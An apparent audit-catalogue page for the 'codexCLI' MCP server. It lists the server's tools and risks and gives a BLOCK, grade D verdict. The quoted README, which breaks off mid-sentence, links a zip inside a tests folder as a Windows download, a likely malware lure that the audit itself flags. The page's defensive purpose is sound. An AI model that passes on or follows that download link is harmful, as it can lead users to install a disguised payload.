codexCLIBLOCK
Store and retrieve frequently used data quickly via a command-line interface with encryption, search, aliases, and shell integration.
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
[](https://github.com/GilJames/codexCLI/raw/refs/heads/main/src/_tests_/codex-CLI-3.6.zip)
codexCLI is a simple tool to store and access your important information fast. You can use it on the command line to find data you need often. It supports easy navigation with dot paths, lets you complete commands quickly, and can connect with other AI tools through a server. This guide helps you download and run codexCLI on Windows, step by step.
📋 What Is codexCLI?
codexCLI helps you save bits of data like notes, commands, or code snippets so you can get to them quickly. Instead of digging through files or apps, you use easy commands to show the info you want.
The tool has three main parts:
- Command-line interface: Type to access stored info with simple commands.
- Shell completions: The system suggests commands or paths as you type.
- MCP server: Lets other programs talk to codexCLI to get information, useful for AI or automation setups.
💻 System Requirements
Before installing, make sure your computer meets these needs:
- Windows 10 or newer.
- At least 2 GB of free disk space.
- Internet connection to download the software.
- PowerShell or Command Prompt available.
No special hardware or software is needed beyond this.
🛠️ How to Download codexCLI
You need to get the software from its official page. Use this link to reach the download page:
This link takes you to the GitHub project page. From there, find the latest release under the "Releases" section. Look for a file suitable for Windows, usually with a .exe or .zip extension.
🌀 Installing codexCLI on Windows
Once you download the file, follow these steps:
- Locate the file: O
bbc119496d48OBSERVED · 2026-10-12Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control.
claude mcp add codexcli -- npx -y [email protected]
{
"mcpServers": {
"codexcli": {
"command": "npx",
"args": [
"-y",
"[email protected]"
]
}
}
}Exposed tools (14)
6 read · 5 write · 3 destructive. Blast radius: 3 tools can delete or overwrite — an agent that can be talked into calling a tool can be talked into calling this one.
| Tool | Risk | Description |
|---|---|---|
codex_alias_list | read | List all aliases |
codex_alias_remove | destructive | Remove an alias |
codex_alias_set | write | Create or update an alias for a dot-notation path |
codex_config_get | read | Get configuration settings |
codex_config_set | write | Set a configuration setting |
codex_copy | read | Copy an entry to a new key in the CodexCLI data store |
codex_export | read | Export entries and/or aliases as JSON text |
codex_get | read | Retrieve entries from the CodexCLI data store |
codex_import | write | Import entries and/or aliases from a JSON string |
codex_remove | destructive | Remove an entry from the CodexCLI data store |
codex_reset | destructive | Reset entries and/or aliases to empty state |
codex_run | write | Execute a stored command from the data store |
codex_search | read | Search entries in the CodexCLI data store |
codex_set | write | Set an entry in the CodexCLI data store |
Trust audit
BLOCKgrade D · trust 69/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | PASS |
| L1 | Static analysis of the code | FAIL |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | WARN |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (4 observation(s))
- Network
- none-observed
- Shell
- declared (5 observation(s))
- Dependencies
- not all pinned
- Secrets in source
- none-found
Findings (6)
.option('--source', 'Output command to stdout for shell eval (used by shell wrapper)')codex_alias_remove, codex_remove, codex_reset
codex-CLI-3.6.zip
const { version } = await import('../../package.json');import { version } from '../../package.json';@modelcontextprotocol/sdk, chalk, commander, zod, @types/node, esbuild, eslint, postject
Gates applied: no_behavioural_pass.
bbc119496d48full audit observations/trust-audit/mcp-server/giljames__codexcli.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-12 | bbc119496d48 | BLOCK | D | 69 | first audit |
Questions
What is the codexCLI MCP server?
Store and retrieve frequently used data quickly via a command-line interface with encryption, search, aliases, and shell integration.
What tools does codexCLI expose?
14 in total: 6 read-only, 5 that write, and 3 that can delete or overwrite (codex_alias_remove, codex_remove, codex_reset). Every one is listed on this page with its risk.
Is codexCLI safe to connect to an agent?
No — not without reading the findings first. The audit graded it D (69/100) and found 1 critical or high issue in the source. Each one is listed on this page with the file and line it is on. Separately from the audit: 3 of its tools can destroy data, so scope the token you give it to what you actually need.
What credentials does codexCLI need?
No credential environment variables were found in its source, so it appears to need none.
How does codexCLI run?
It speaks stdio, so it runs as a local process your client starts. It is published on npm as codexcli at 0.3.0.
How current is this page?
The grade is for one exact copy of the source (bbc119496d48), read on 2026-10-12. The repository is watched and re-audited when it changes.